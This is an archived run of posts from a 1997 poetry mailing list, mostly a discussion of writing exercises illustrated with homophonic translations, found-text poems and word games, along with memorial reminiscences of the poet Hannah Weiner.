>I was going to say that a contest based on examining the genitalia of
>authors might be, depending upon the personnel, more pleasant than the
>traditional contest.

for whom?

↑ Index

166. **Suzanne Burns**
Re: Writing exercises
Sat 13 Sep 1997

On Fri, 12 Sep 1997, James Finnegan wrote:

> *Best writing exercise: Read good books*
> *and try to do half as well.*
>
> *Finnegan*

Hello Jim! I've joined the list. Good to see your presence.

Especially good to see your input, above. I concur.

Suzanne
>

↑ Index

167. **rsillima**
Hannah
Sat 13 Sep 1997

I first met Hannah on my first literary trip east of the Mississippi, circa 1980, at an opening as I recall of a show of Lee Sherry's. I was in the midst of telling Lee how much I liked the work when Hannah walked up, paused for a moment, declared in something akin to a stage whisper "It says 'go away'" and stalked off, offended. My eyes dilated, I tracked her down and got that straightened out. It

was the first -- and last -- argument we ever had. And from it grew a friendship that, like her writing, was simply impossible to duplicate.

Hannah would call maybe once a month (more often during the bad times), sometimes insisting that I had "told" her to call (especially if she was calling at an inconvenient time of night). We would discuss her latest problems, which often had to do with the American Indian Movement or various publishers, my kids, readings, friends, her interest in music (she was a 60s folk rock fan), whatever. Depending on how she was doing at the time, the calls could range anywhere from absolutely straightforward to utterly impossible.

Hannah was as insecure as any writer on this list, but for her this never came out as worrying about this or that revision -- she had absolute confidence in her writing practice-- but instead in her publications. I always felt that her paranoia about whether this or that publisher was going to slight her work, especially through delays was more pronounced since, not working and with no immediate family, publishing literally was her life -- even moreso as she became more and more reclusive. While I had a completely easy time with her and her work in In the American Tree (in sharp contrast with a couple of folks), it seemed apparent, from her accounts as well as theirs, that Hannah was an absolute terror to her book publishers. All of them are to be praised for the infinite patience it must have required to complete each book.

In the mid-80s, Hannah came to California and stayed with Krishna and I in San Francisco as we gave readings at the Arts Commission Gallery and in Mill Valley. It was her first trip west and we were prepared to show her all the sights, but she had no interest whatever in going outside once she was at our house. Getting her to and from the readings was work enough. (This was before either Krishna or I had learned how to drive, so it was all public transit.) Afterwards, I realized that I'd learned in an unspoken way just how disorienting and even frightening the external world had become for her. She was profoundly interested in it, but was very protective of her psyche and quite conscious of her limits. She was a remarkably quiet guest during those few days. In fact, I probably received phone calls in which she said more than she did while at our house.

Hannah was very interested in kids, especially in the idea of having boys. At various points, Asa Watten, Ben Sherry, Felix Bernstein and my son Jesse were all identified by her as "silent teachers." While she and Jesse spoke on the phone a few times and he's heard the works that refer to him, they never got to meet in person.

I was raised by a grandmother who was psychotic and don't take the circumstance lightly. When Hannah was on her meds, she could be remarkably matter of fact about her own situation, but often she was not on her meds and they tend to be the sorts of things that can get mixed and muddled too easily. When,

in the 60s, psychiatry in this country moved literally millions of people out of institutions back into communities, there was an assumption (even stated boldly in places such as California) that local governments would set up the resources to support them. I know from my experience in the Tenderloin that, with help, it's not that difficult. (My wife did this for a living for years with many clients in far worse shape than Hannah.) I often felt that Hannah would have benefited greatly from a program such as the one Krishna had worked in. Now I wonder if she might not still be alive if it had existed for her. It's not a fun thought.

I've written about Hannah's work before, so won't duplicate that here, but I do want to note that when I used the word "realism" in the subtitle of Tree and as the title of a selection of langpo in Ironwood, it was Hannah's work specifically that brought me to this realization. She was an awesome documentarian of a minority reality and if you read her use of pauses, punctuation (including half-erased lettering), and multiple voices, you discover both how complex and completely realized her texts are.

I miss her terribly,

Ron

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168. Jordan Davis
great words, extra credit
Sat 13 Sep 1997

Finnegan's proposed exercise in which one takes half the words of a great work sounds great! But is it the first half of each word, the first half of each work, or something else altogether? And if I choose a great work from French, say, the Inferno, or Comment j'ai ecrit certain de mes livres can I do a sound translation, for extra credit?

And if I bring in the works of John Ashbery, David Shapiro, Bernadette Mayer, Jackson Mac Low and Lee Ann Brown... would it undercut that I am pleased by resistance to what if it went unchecked could be called the hubris of literary scientia?

eh?
J

↑ Index

169. Bob Grumman
Re: Writing exercises
Sat 13 Sep 1997

James Finnegan Asked, "What great poems have been produced from writing exercises?" I don't know about great, but one of my favorite poems, Keats's *On the Grasshopper and Cricket*, was the result of an exercise. I'm hazy on the details, but some kind of sonnet-writing contest was suggested at a gathering of poets, and Keats batted out the preceding in competition with Leigh Hunt (I think). Shelley might have participated, too, I'm not sure.

There's also the example of the obviously exercise poems that begin Shakespeare's sonnet sequence.

In any event, I'm definitely with Charles Alexander about the value of procedure poems/exercise poems/what-if-I-do-this poems. Even if nothing comes from working on such poems in a workshop, the experience of what-iffing has to be valuable.

--Bob G

↑ Index

170. Michael Heller
(no subject)
Sat 13 Sep 1997

Saddened by news of old, old friend Hannah. We met in '64 in Kenneth Koch's New School poetry workshop. She was even then thinking of alternative poetries, and when she visited me the following year in Spain during my expatriate number she'd already begun to draft out Code of Flag Behavior in which I performed as a signal man at G Stern's loft in the late sixties. Many memories now, not only of her highly original poetry but of her sweetness, her generosity and the exercise wherever possible of her canny and genuine zaniness.

↑ Index

171. David R. Israel
Re: (fwd) Contest Announcement
Sat 13 Sep 1997

Chris A. --

thanks for forwarding the contest announcement (I've not as interested in a contest since I was olded out of Yalie Younger Po).

One techno question:

> *This competition is open to any poet named Mark Weiss.*

From what I hear on the bahn, David Bromige would appear to be included within the set of all poets named Mark Weiss, neh? And I also seem to recollect news that David Israel is tantamont to David Bromige (or maybe it's the other way around . . . I'm a mite confused or a confused mite).

contest
context
test
text

s
x

d.i.

↑ Index

172. David Bromige
writing exercises
Sat 13 Sep 1997

Able to Describe the Verses

(after Neruda)

Able to describe the verses more sad each night.

In the night like the two of them between my arms.
They kissed like tarantulas beneath an infinite sky.

She quizzed me, I quizzed her back.
As if I had a friend with big fizzy eyes.

Able to exactly as I said before.
Thinking that I can't go on. Feeling lost.

Ear to immensity's night, immense with her.
On the other hand my soul turns rocks into paste.

What does it matter my love can't guard its shame.
The night is starry & she isn't with me still.

So much for death. For song with its laws. For laws.
My soul is not contented with having lost her someplace.

As if she were here, I admire her hair suit.
My heart her hair suit, & she isn't in it.

The mismatched night blanks out the mismatched trees.
Our sisters, those who entice, the same backwards as forwards.

I don't know why, that's certain, perhaps I should ask her. My voice grows furry as it blows about her idea.

The other. Be the Other. Come kiss me like before.
Her voice, her clear form. Her infinite pupils.

Why is night like the two of them between my arms:
my discontented soul with the beauty it has lost.

Why I don't know for sure, maybe we'll discuss some ways.
The short tan of love, the large tan of oblivion.

Although this sea is the ultimate sadness she can cause me, &, as I told Sean, this is the ultimate paper boat I shall make her.

****

I wrote this upon the suggestion that one write a "fake translation" (or "homophonic" version) from a poem in a language one didn't know. At that time blissfully incapable of Spanish, I took Neruda's "Lament" (from his first book, I think titled _18 poems of love and one lament_). I departed from the homophonic discipline frequently, as a quick check of my poem against Neruda's must disclose. But I could not have written this w/o Neruda to distract me from my habitual vocabulary/subject matter/syntax. Whether it is what James Finnegan would call a "great poem" I must doubt, but I've always liked it and prefer it to the grandiosities of the original.

The larger picture is, that such exercises help place one where the poem is no longer a confessional box, or rather, where it _is_ a confessional box, and seen as such,and one can describe its construction instead of dwelling on the hard luck of its temporary inhabitant. Poetry has always employed such devices to distract the poet & thereby allow something new to emerge from his/her programmed mind--as programmed as the next member of society, poet or no. When these devices become too familiar, and susceptible of glib usage, it is time to come up with fresh ones. With my education, riming iambic pentameters was no challenge. Making a piece out of items from the local newspaper was, and the result, "One Spring," can be found in _Men, Women & Vehicles_ (Black Sparrow, 1990); it won a Pushcart Prize in 1980, upon its publication in _This_ journal.

I, Dave, testify in the courts of the Law, taking myself as example, but among my colleagues'sproductions are many, many fine poems that stemmed, to one degree or another, from just such defamiliarizing procedures. One of these colleagues, John Keats, has already been mentioned in this thread; it bears remembering that his Odes were the result of a new stanza form, no matter he was raiding, among others, Spenser for "inspiration".

Seeing That You Asked

In this world there's a secret
& it belongs to me, to me
& to someone who lives in here with me.

When my brother dreams
he shivers. Instead of night
he sees these things.
When he takes a walk & sees something
it makes marks on his forehead
in small drops of blood.

A dream's when you see people.

The dream is in the smoke.
When you wake up
it's right in front of you.

The light makes dreams.
Dreams come to pay us back
& wake us up.

If you dream you're dressed
you see a picture.
As long as there's a picture in the room
I can never be alone.
Statues & pictures aren't alive.
They can only think & see.

The wind makes the grass move
& you see it move.
That is thinking.

When you can't remember something
then you think.

A horse thinks with its ears.
A curious thought came into my head :
I must give up my horse
to make my mother better.
It was made of wood, with real hair.

Could this chair have been called "Stuhl"?
Yes, that is a word in German.
Who gave things German names?
God, & the Germans.

A dog knows its name
but does a fish? It should,
if we know we belong, why shouldn't fish.

The name of the moon
isn't in the moon.
The sun's name's in the voice
that says it.

The clouds' name
is in the clouds
because they're gray.

As for the pencil,
it's printed on its side.

This is made of phrases from Piaget's book of responses by young children to such questions as "What is thinking?" "What is a dream?" etc.

Looking into great literature unquote and then writing, as a formula, has a downside, namely, pale imitation. For one thing, it appears to overlook the need to accomodate the destructive impulse, what Andrei Codrescu was looking at when he announced on his radio show : "Poets hate Poetry." Yet it is this very accomodation that gives a poem its edge.

Looking into one's heart & writing, Phil Sidney's Muse's formula, hardly was followed by Her poet, who was copping formal help from all over. When I was a teacher in creative writing classes, students who looked into their hearts & wrote usually sounded like Hallmark clones. I think that's because the heart is seldom where you look for it. I know that there is more of me in these two poems I include here, than I ever would have revealed had I been focussing on my self, my heart, etc. David

↑ Index

173. David Bromige

Re: [sonnet] constitution/ writing exercises

Sat 13 Sep 1997

> *From:* [redacted]
> *Date: Thu, 11 Sep 1997 12:31:27 +0100 (WET DST)*
> *To:* [redacted]
> *Subject: Re: [sonnet] constitution*
> *Sender:* [redacted]
> *Precedence: bulk*
>
> *Subject: L'indigestion de nos sillons*

> *[Lipogramme en JKWY]*
>
> *Voici l'introduction de la Constitution*
> *---*
> *La France est ma nation, dÈpourvue de sections*
> *Elle a pour conditions d'offrir sa protection,*
> *Sa subordination ý la population,*
> *Et sa sÈparation de toute confession.*
>
> *Elle donne caution de l'Ègalisation*
> *Des gens devant l'action de la lÈgislation*
> *Sans nulle distinction de foi, de conviction,*
> *De race, d'extraction, voire de profession.*
>
> *Son mode d'expression est franÁais d'Èlection.*
> *Le bleu, blanc, vermillon en est l'Èvocation*
> *Comme l'’pre chanson de la RÈvolution.*
>
> *Le slogan "Communion, ŠquitÈ, Permission"*
> *Souligne les notions rÈglant sa direction :*
> *Le peuple a pour mission son administration.*
> *---*
> *Offrez vos compassions ý ma composition*
> *plutÙt que vos sanctions... Gilles Esposition_*

I hope I may be forgiven this cross-posting/forwarding : I thought some of those on our List who are discussing writing exercises might find the Oulipo List of interest. David

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174. **Maria Damon**
(no subject)
Sat 13 Sep 1997

---

yo, mark wallace; back channel me please? thanks, maria d

↑ Index

175. **red slider**
Re: writing exercises
Sat 13 Sep 1997

---

on writing&i

retold story of an architect working on a large building (I think in Berlin) needing to place a 50' I-beam with a very slight angle from the center of the atrium to the girding above. The gang-boss rode the fitting end of the girder as the

crane lowered it into position. "Is this the angle you want?" he yelled down to the architect supervising the placement. "A little tighter," the archetict replied. Again the call, and the same reply. A third try and the architect responded, "Just make it as straight as you can and it will be crooked enough."

find reading Bromige on Bromige while dangling from crane a good exercise to distract the i) suspend shatter dislocate from atrium to)self_sufficient insertion into poem-girding reflexive i - inescapable as signature attempting to converge on forgery at the scene of 3) red

---
From: David Bromige[SMTP:[redacted]]
Sent: Saturday, September 13, 1997 12:10 PM
To: [redacted]
Subject: writing exercises

Able to Describe the Verses

(after Neruda)

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On the other hand my soul turns rocks into paste.

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The night is starry & she isn't with me still.

So much for death. For song with its laws. For laws.
My soul is not contented with having lost her someplace.

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My heart her hair suit, & she isn't in it.

The mismatched night blanks out the mismatched trees.
Our sisters, those who entice, the same backwards as forwards.

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Her voice, her clear form. Her infinite pupils.

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my discontented soul with the beauty it has lost.

Why I don't know for sure, maybe we'll discuss some ways.
The short tan of love, the large tan of oblivion.

Although this sea is the ultimate sadness she can cause me, &, as I told Sean,
this is the ultimate paper boat I shall make her.

****

I wrote this upon the suggestion that one write a "fake translation" (or "homophonic" version) from a poem in a language one didn't know. At that time blissfully incapable of Spanish, I took Neruda's "Lament" (from his first book, I think titled _18 poems of love and one lament_). I departed from the homophonic discipline frequently, as a quick check of my poem against Neruda's must disclose. But I could not have written this w/o Neruda to distract me from my habitual vocabulary/subject matter/syntax. Whether it is what James Finnegan would call a "great poem" I must doubt, but I've always liked it and prefer it to the grandiosities of the original.

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& it belongs to me, to me
& to someone who lives in here with me.

When my brother dreams
he shivers. Instead of night
he sees these things.
When he takes a walk & sees something
it makes marks on his forehead
in small drops of blood.

A dream's when you see people.

The dream is in the smoke.
When you wake up
it's right in front of you.

The light makes dreams.
Dreams come to pay us back
& wake us up.

If you dream you're dressed
you see a picture.
As long as there's a picture in the room
I can never be alone.
Statues & pictures aren't alive.
They can only think & see.

The wind makes the grass move
& you see it move.
That is thinking.

When you can't remember something
then you think.

A horse thinks with its ears.
A curious thought came into my head :
I must give up my horse
to make my mother better.
It was made of wood, with real hair.

Could this chair have been called "Stuhl"?
Yes, that is a word in German.
Who gave things German names?
God, & the Germans.

A dog knows its name
but does a fish? It should,
if we know we belong, why shouldn't fish.

The name of the moon
isn't in the moon.

The sun's name's in the voice
that says it.

The clouds' name
is in the clouds
because they're gray.

As for the pencil,
it's printed on its side.

This is made of phrases from Piaget's book of responses by young children to such questions as "What is thinking?" "What is a dream?" etc.

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↑ Index

176. James Finnegan
Re: writing exercises
Sat 13 Sep 1997

I'm sure I was hasty in my summary dismissal of
writing exericises. And, certainly, I'm aware
that "great poems" and "good books"
are not going to be the same texts for everyone.
Exercises, for students, are certainly
useful in art and music schools, so why
not in creative writing schools?

But many of the exercises are so damn silly. Some
are like the various improbable cures
for hiccups people have, only the idea behind
these is "to unblock or to free the creative impulse
of the writer." Does the world need more refrigerator
magnet poems?

Now I don't teach, so I don't have clue how hard
or easy it is to teach creative writing. And I imagine
any tool will be worthwhile in the hands of a good teacher.
But in talking with writers, I never seem to hear one say
(or should I say, admit) that a certain writing exercise
was the basis for a breakthrough in his/her writing--
"Last night, before going to bed, I cut out words from the
Personals section of the newspaper, then I placed them
in my pillowcase. Next morning I shook them out on
the sheet and wrote a love poem like I've never written
before." Perhaps most poets prefer not to credit the
exercise because of its inherent artificiality.

Finnegan

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177. Daniel Zimmerman
phony homophony
Sat 13 Sep 1997

David Bromige's homophonic version of Neruda's "Lament" provoked me to the following massacree of Neruda's "Ode to French Fries" [from _Odes to Common Things_, Little, Brown: 1996]. My ignorance of Spanish no doubt vies with Bromige's, but I like the sense of looking through centuries-old glass at an event not quite identifiable yet fascinating which this technique affords. First, the Spanish:

Oda a las papas fritas

Chisporrotea
en el aciete
hirviendo
la alegría
del mundo:
las papas
fritas
entran
en la sartén
como nevadas
plumas
de cisne matutino
y salen
semidoradas por el crepitante
ámbar de las olivas.

El ajo
les añade
su terrenal fragancia,
la pimienta,
polen que atravesó los arrecifes,
y
vestidas
de nuevo
con traje de marfil, llenan el plato
con la repetición de su abundancia
y su sabrosa sencillez de tierra.

+++++++

A dust-lip bobby's frieze

Just for a day,
an ale as yet, hey,
herby, and oh,
all agree, a
tall moon-dew
(less Papa's
Fritos
end-run)
unless our din
go moan Nevada's
bloom as
daisies name a duty? No,
Is Silent
Sammy to rate us all crap? It ain't he
on board the last oily bus.

A lie, oh,
lays on yr day
so the rain'll frog-grunt "See ya,
low-beam yenta,
bowling got raves a loser receives."
He,
best he does,
the New Wave. Oh,
contrite marvel, yen & all blotto,
gone all Rep, a dizzy one, the swab, undone seer.
Ease who's sub rosa, since he is the terror.

--Daniel Zimmerman

↑ Index

178. Lawrence Upton.
Re: writing exercises
Sat 13 Sep 1997

I admit that some of the poems I am happiest with have been produced at least partly by chance and other methods and that I cannot usually remember wch are wch. I am glad I confessed. I feel better.

Lawrence Upton

> *Now I don't teach, so I don't have clue how hard*
> *or easy it is to teach creative writing. And I imagine*
> *any tool will be worthwhile in the hands of a good teacher.*
> *But in talking with writers, I never seem to hear one say*
> *(or should I say, admit) that a certain writing exercise*
> *was the basis for a breakthrough in his/her writing--*
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> *the sheet and wrote a love poem like I've never written*
> *before." Perhaps most poets prefer not to credit the*
> *exercise because of its inherent artificiality.*
>
> *Finnegan*

↑ Index

179. Jordan Davis
requiem for pedagogy / spicer teaser
Sat 13 Sep 1997

one does something in one's own work one likes (won) and when it comes time to talk a teacher one takes this thing apart and shows how to build it back up no more no less. as where market and calculus are in contact in derivatives. or dhydrtd fds.

hey congratulations Kevin Killian the Spicer in Minn in the ILS this month is terrific. You and your co-author are to be co-mmended. May the book when it arrives get noticed around the world!

Jordan

ps is bc really a landmass formerly known as so.california?

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180. henry gould
Re: writing exercises
Sat 13 Sep 1997

We go to school & learn the rules of grammar, we grow up & learn social behavior, how to behave in a seemly manner so as not to make ourselves impossible, etc. Writing exercises are meant to shake up those rules by means of new rules - instigate exploration of new possibilities. But I agree with Finnegan that technique fades quickly into gimmimimicry which easily kills poetry. To mistake techniques for creativity & imagination - this is another aspect of the great rationalist leveler in all of us which grinds down the unique & inexplicable into categories & explained stuff. The necessary image or motive draws the handy technique like a magnet - exactly the OPPOSITE process from the classroom experiment. I'm sure the authentic poet-teachers out there make that clear, but I wouldn't know.

I wrote a poem once, a long poem, called White City. About halfway through I started alluding or echoing previous particular lines in a mathematical way - & simultaneously creating sort of a Finneganesque distortion. I did discover something ODD doing this - toward the end of the poem as the math-allusions got more dense & the distortions more severe, the poem started to tell a story - a narrative-inside-the-poem. My point is that in my mind the only clear benefit of this "technique" is that it led to something unplanned. If that hadn't happened, the gimmick would have laid siege to & eventually strangled White City. - Henry Gould

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181. Daniel Zimmerman
Re: writing exercises
Sat 13 Sep 1997

Henry: "White City" as in the Columbian Exposition? [The mathematical involution would make sense, if so. I came across it in a book by Alan Trachtenberg, _The Incorporation of America_, which I reviewed several years back for Jack Clarke's _intent._] Where did that [did it?] appear?

--Dan Zimmerman

henry gould wrote:
>
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> behavior, how to behave in a seemly manner so as not to make ourselves
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> like a magnet - exactly the OPPOSITE process from the classroom experi-
ment.
> I'm sure the authentic poet-teachers out there make that clear, but I wouldn't
> know.
>
> I wrote a poem once, a long poem, called White City. About halfway through
> I started alluding or echoing previous particular lines in a mathematical
> way - & simultaneously creating sort of a Finneganesque distortion.
> I did discover something ODD doing this - toward the end of the poem as the
> math-allusions got more dense & the distortions more severe, the poem
> started to tell a story - a narrative-inside-the-poem. My point is that
> in my mind the only clear benefit of this "technique" is that it led to
> something unplanned. If that hadn't happened, the gimmick would have
> laid siege to & eventually strangled White City. - Henry Gould

↑ Index

182. **Layne Russell**

Re: writing exercises

Sat 13 Sep 1997

David Bromige wrote:
>
> I find it odd that James Finnegan writes that he never hears a poet admit
> that such-&-such an exercise led to a breakthru in his poetry, so soon
> after I posted two poems which I said were that, for me. Perhaps others on
> this List would care to testify to the value of some writing exercise
> either to their own poetry, or that of others. David

I have often found "exercises" or parameters of some kind to have helped me produce pieces that took me into new places. Sometimes the subject matter alone is the new territory. I value stimulation in any form that brings me to write a new poem. I never value those poems less because they were instigated in this way.

Layne

http://www.sonic.net/layne
"A Quiet Place" -- Poetry

http://www.sonic.net/layne/calendar.html
"Poets Leave Their Prints" -- Poetry Calendar

↑ Index

183. Bob Grumman

Re: writing exercises (and an ANNOUNCEMENT)

Sat 13 Sep 1997

Unless I'm misreading what Henry's saying in his latest posting, I disagree with him in a couple of spots. First of all, I don't see that technique NECESSARILY fades quickly into "gimmimimicry" any more than images or motives necessarily fade quickly into cliche. Nor do I understand why it would be a "mistake" to confuse techniques for creativity and imagination. What's uncreative about inventing a new technique, or using an old one brilliantly? Why shouldn't an effective technique "draw" the right image as easily as the reverse? Sure, a poem that's all technique is unlikely to be too hot, but why would a poem that's all image or motive be any better?

Anyhow, my practice as a poet is to take anything I can as a starting point; if it's an image, then I hunt for a technique that'll unprose it; if a technique, then I hunt for an image it'll work with. Consistent result: all my poems that use post-1950 techniques get accused of being mere gimmickry.

AND NOW AN ANNOUNCEMENT FROM THIS POSTING'S SPONSOR, THE RUNAWAY SPOON PRESS:

7 new offerings now available for money or trade:

-Ocracy, parts 5 - 7 by Sheila Murphy and Peter Ganick

Broken Poems for Evita by John Elsberg

[Un Nome} by Michael Basinski

Falling Down by Mark Peters

Number Poems by Irving Weiss

Five Days Shy of February by Jonathan Levant

E.mail me for further information. --Bob G.

↑ Index

184. henry g
tech tach toe
Sat 13 Sep 1997

In reply to Bob Grumman: technique doesn't NECESSARILY fade into gimmimicry. I said it EASILY fades into said. As image & motive do into cliche, as you say. I'm seeing it like a spatial continuum I guess, not a logical outcome. Technique/gimmick. Image/cliche.

All WRITING is technique. But poetry isn't encompassed by writing. (Maybe Derrida disagrees, I dunno.) Writing programs sell "writing." Like, you too can be a capital P. Here, try these techniques.

Imagination/creativity get processed & sold too, as we know. But I still say they are different from technique. Sure, there's imaginative use of techni que. No argument there. But technique, on the other hand, is no proof of imagination - in fact it's often a crutch (in the avant-garde as well as the retro-garde) for lack of same. Check your own lame lines (everybody). Inflated blurb as interpretant of smooth gimmick.

Creativity - is that a juicier way of putting it than imagination? Or how about "inscape". Then there's always "fate".

The poem is a stone fallen from heaven.
No one judges it. (Mandelstam)

- Henry the Quoter of Osip Mandelstam

↑ Index

185. Rebecca Weldon
A Song of Despair
Sat 13 Sep 1997

I characterize this century as the one of "form will set you free". Form, no form, different form, form exercises, form-is-content, content-is-form, form as language, language as form, form-of-thought, no-thought-form, a sea of forms eroding continents of form bequeathed.

The rats eat my notebooks of form and I am glad they are nourished. There was a time when all I had was form and Neruda and myself. I exercised an exploration of the place Neruda showed me. Twenty exercises and a poem, Twenty love poems and La Cancion Desesperada.

Play is creative, liberating and prepares us for what we live when play is done.

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186. David Bromige
writing exercises
Sun 14 Sep 1997

I find it odd that James Finnegan writes that he never hears a poet admit that such-&-such an exercise led to a breakthru in his poetry, so soon after I posted two poems which I said were that, for me. Perhaps others on this List would care to testify to the value of some writing exercise either to their own poetry, or that of others. David

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187. red slider
Re: A Song of Despair
Sun 14 Sep 1997

From: Rebecca Weldon[SMTP:[redacted]]
Sent: Saturday, September 13, 1997 8:54 PM
To: [redacted]
Subject: A Song of Despair

I characterize this century as the one of "form will set you free". Form, no form, different form, form exercises, form-is-content, content-is-form, form as language, language as form, form-of-thought, no-thought-form, a sea of forms eroding continents of form bequeathed.

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Play is creative, liberating and prepares us for what we live when play is done.

hell, &i thought it was all play. you mean it isn't? I'm done for.

red.

↑ Index

188. red slider
Re: writing exercises - derived works
Sun 14 Sep 1997

'great poems' and 'breakthrus' are stoppers since i can't claim either and won't if/until more than a few tell me otherwise - but here's a few that came/were-directly prompted by exercises the past few months:

'Homo Vocalis' - (Recursive Angel) ex. from Alien flowers (Joy Acey)
'Hot Oil' - (Zuzu's Petal's) - ex. from Poetry Cafe
'Natural Practices - ex. from Alien Flowers (Tom Williams)
'Ballad of Emma Good' - ex. from APW (Janet Holmes)
'Still Life with Moon' - ex. from APW (scott Reid)
'Still Life with Statue' (current finalist PEII) - Tom Williams ex.
'Isle du Goree' - ex. Alien Flowers (Mary Tomaselli)
'15th day of Prana' - ex. Alien Flowers (Joy Acey)
'Two Brushes' - soco poets (Layne Russell)
et. al.

here's a couple - nothing shattering, avant or langpo - but if they look like exercises then I stand corrected.

Still Life with Statue

She stands for seeming hours,
mimes hardly moving, imperceptible
changes query in the hesitant ranges,
moves on over open ground, soundless.

She has finally mastered invisibility,
sewed a cloak that bends the light
to impossibly uninteresting angles
barely breathing at the margins;
a sustained aikedo defeating attention.

In Mauroc they remove the shine,
cover with hijab, deform glances,
walk astride a hobbled gait as if to say
Allah has not visited, who wants that?

She says nothing, involves no one,
her immobility stretches over canvass,
no startled birds emerge, white gesso
glaze redoubles the sunlight, hiding
the texture of grass at her feet,
stones cover her eyes.

He is young, vibrant, attentive,
a gaze that says you need to know,
shows good teeth, speaks taste
and patience while a brief gust
blows a kiss of paper cup her way,
a make-do vase for a sudden bouquet
thought that withers without an address.

The small hour brushes shady hues
across the vacant stare of afternoon.
Stones cave inward, so densely grey
Erato's arbor only thickens in its wall
at the silence of such perfect refutation.
While nightfall drapes,

                a dust cloud on the pond
                studies her reflection.

Natural Practices

As a child, i run my fingers over stone feeling
shadows flee, not idle time for me brailling the earth
this way, lessons for the day when i must choose
how to walk upon living things; and when i run
my fingers bumpity-bumpity over the fence holes
is it not to inspect the notions of worlds within worlds
that someday i will meet behind barriers i must overcome,
wish them away that i may heed any beckon from beyond?
And on a sunny day, if i should dig a hole in the yard
and then crawl down into the cool dampness of earth
pressed to my back and trace the meaning of my eye
as it slowly moves along the strata of a hundred years,
have i not begun to puzzle the riddle of my ancestors,
the chains of being that are forged and reforged
with each succession?

When i pick my nose i am amazed that portions of my body
detach in such pliant supple forms that tickle strangely
wet and gelled in unpredictable shapes, sweet and sour.
And should i not wonder at the ways i will become, the parts
of me that will liquefy and slide along the demanding trails
and impossibly dry narrow crawl-ways that lie before me?
When i touch my toes, is it not a journey in enumeration
of places unrevealed for which i am already highly adapted;
write simple lessons on the bilateral symmetry of wiggling things?
When i reach into the not quite there, absent and unformed,
vague thoughts watch the ten great teachers of the world disappear
into a mist beyond which i cannot penetrate, where the star-shaped limbs of
me are radially motivated. Should i not wonder if this vanishing point
continues to grow, to consume until
there is no more me?

I play among the eidos in the second-hand shop of God, filled with things known only by their gestures long after the costumes which once wore them have departed. I string the gestures into beads of thought, the thoughts into rosaries of vision, the visions into new costumes. With these I will confront the gestures of the unknown, again and again, like a scimitar without a Saracen. And if the blade turns upon itself, slicing through the string of questions, what then? In the mirror of antiquities I see my reflection instantly melanize and disappear. Should I not try to illuminate the eidolon that lives there and dines on angels when it can; forages for passing shadow scraps when it cannot? And if I find it, do I also become dark and gloomy? Is it here, in this soundless priory of hallways, the vanished parts have gone, to haunt me forever, as a man?

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189. **Mark Baker**

Re: Unprosing

Sun 14 Sep 1997

What does Bob Grumman mean by hunting for a technique to "unprose" an image? Does this suggest something like that word "versify"? As in, "William, those daffodils look so gay, ever glancing, ever changing!" A poet could not but be gay to unprose that.

Mark Baker

↑ Index

190. **red slider**

Re: writing exercises - on employment

Sun 14 Sep 1997

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there is another way i've used exercises - as sketches and problem solvers for other more ambitious pieces. For instance, 'Still Life with Statue' was first suggested as an exercise in which the central figure had to be entirely passive - no voice/no action - At the same time I had been working on a much larger piece, 'Glimpses' that required a full description of a figure that hardly appears. SLS was used to solve some of those problems and the solutions transfered to the longer work. In that, I felt the process somewhat akin to the plastic or visual arts where preliminary sketches or models (exercises) may be made - and become works in their own right. In SLS the sketch did not resemble an actual part of the larger work - but still the process felt similar to one i'd used in sculpting and painting.

red.

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191. aerialedge
Re: requiem for pedagogy / spicer teaser
Sun 14 Sep 1997

j-- tried to get to your webpage & was denied. send me that add again?

↑ Index

192. L.MacMahon and T.R.Healy
writing exercises
Sun 14 Sep 1997

At the risk of being obvious, the Greek word for art was techne. Not suggesting we should all wear short skirts and carry shields, though I'm not against that either.

Is there any reason why the two approaches: deliberation/inspiration should be mutually exclusive whether at the same or at different times? Coming from a country where thinking is regarded as cheating and all forms of "holism" routinely excise the intellect I find myself sympathetic to the idea of writing exercises. Certainly, having read David Bromige's beautiful examples this morning, I would find it difficult to accept that such exercises cannot result in poetry. Looks like a duck, quacks like a duck, it's a duck.

Also the idea that writing can be a pleasure, intellectually or otherwise, becomes unusually attractive when the background count of fake anguish rises beyond safe limits. (One year I did a word count on the British Arts Council's annual anthology and the most frequent lexical extrusion was "dark", beating even the definite article.)

Read no further unless you are willing to exercise.

Start with one word. Generate further words by (a) inserting (b) deleting a letter and (c) anagrammising or inverting the order. This is part of how genes mutate. There follows a 2-dimensional example, taken from a work in progress (Note to those who feel like giving up after the first line: it's in the second stanza)

cheers,

Randolph Healy

******

the zenith semi-circle
now hooping
Sumer Akkad Babylon
Assyrian Persian Hellene

(layers of coloured sand)
will arrive in less than four hours.

Change charge chart chants
chance matches aches haunches
chases arches search crashes
charms smears screams marches

↑ Index

193. Schuchat Simon
Re: writing exercises
Sun 14 Sep 1997

---

isn't a canzone an exercise?

would "A" count as a masterpiece that comes from various writing exercises?

my problem is that I am not sure I understand what is meant by "exercise"

↑ Index

194. Bob Grumman
Re: Unprosing & Tech Tach Toe
Sun 14 Sep 1997

I tried to answer Mark Baker's inquiry as to what I meant "by hunting for a technique to 'unprose' an image" with a 300,000-word monograph plus seventeen attachments, but list-gatekeeper Joel Kuszai for some reason wouldn't let it through. So here's a second, shorter try.

A technique to unprose an image is one whose purpose is to lift the image out of its prosaism, to invest it with a more-than-common sensual richness. Versification as in Wordsworth's daffodil poem (another favorite of mine) would be one such technique, but there are many others: metaphorization, infra-verbal deconstruction or scrambling (as Randolph Healy is doing), various visual devices, parataxis, mathematicalization, even the simple lineation that Williams used to unprose his red wheelbarrow. Note: such techniques can be used in prose--as in a modest way I used neologization to unprose the image (or concept) "make poetry of" in the prose passage of my previous posting--since prose needn't be ALL prose, just mainly prose.

Now back to Henry Gould. I like the Mandelstam quotation--except for the idea that no one judges poetry. Everyone judges poetry (and everything else), however unconsciously. To be cultured is to judge consciously.

As for our discussion, I suspect we're close to agreement and just arguing nuances. Technique of course can be used as a crutch, as can anything else in

poetry or any other field. It IS different from imagination: it's what imagination uses to make art. Experience plus technique plus imagination equal art. Drop any of the three and you get cleverness without depth (technique plus imagination), confusion (experience plus imagination) or deadly predictability (experience plus technique).

--Bob G.

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195. Sylvester Pollet
fwd on modernism
Sun 14 Sep 1997

Keith, or anyone? Please respond directly to the sender, not to me. Thanks, Sylvester.

> *MIME-Version: 1.0*
> *Date: Sat, 13 Sep 1997 22:45:47 -0400*
> *Reply-To: Ezra Pound discussion list of the University of Maine*
> *<[redacted]>*
> *Sender: Ezra Pound discussion list of the University of Maine*
> *<[redacted]>*
> *From: "Hilary J. Binda" <[redacted]>*
> *Subject: help-listservs*
> *To: [redacted]*
>
